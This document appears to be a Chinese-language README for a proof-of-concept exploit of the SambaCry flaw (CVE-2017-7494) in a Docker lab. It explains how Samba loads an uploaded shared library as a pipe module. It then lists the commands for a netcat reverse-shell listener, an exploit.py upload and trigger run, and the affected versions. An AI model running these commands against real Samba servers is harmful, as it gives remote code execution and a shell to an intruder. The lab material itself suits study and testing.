CVE-2017-7494/SambaCry 允许经过身份验证的用户将共享库上传到可写文件夹,并使用上传的库执行攻击。
SambaCry 是 Samba 处理命名管道请求时的一个路径验证漏洞。 通常,这些管道用于让程序通过类似文件的通道读写数据来进行相互通信。
当 Samba 收到未知的管道名称时,受影响版本可能会将其视为可动态加载模块的名称。
这些模块通常是管理员安装的合法 .so 库。
该漏洞允许客户端提供绝对文件系统路径,而不是正常的模块或管道名称。Samba 未正确限制此路径,可能实际执行:dlopen("/data/example.so", ...);。
加载共享库会执行其初始化代码。因此,能够将恶意 .so 文件上传到可写位置的攻击者,就可以让 Samba 服务加载该文件,从而实现远程代码执行。
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
要触发已上传的 payload:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
使用预先准备好的 docker-compose.yml 初始化易受攻击的实验环境。
docker compose up -d
该实验环境使用 Samba 4.5.9。该版本易受此漏洞影响。
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3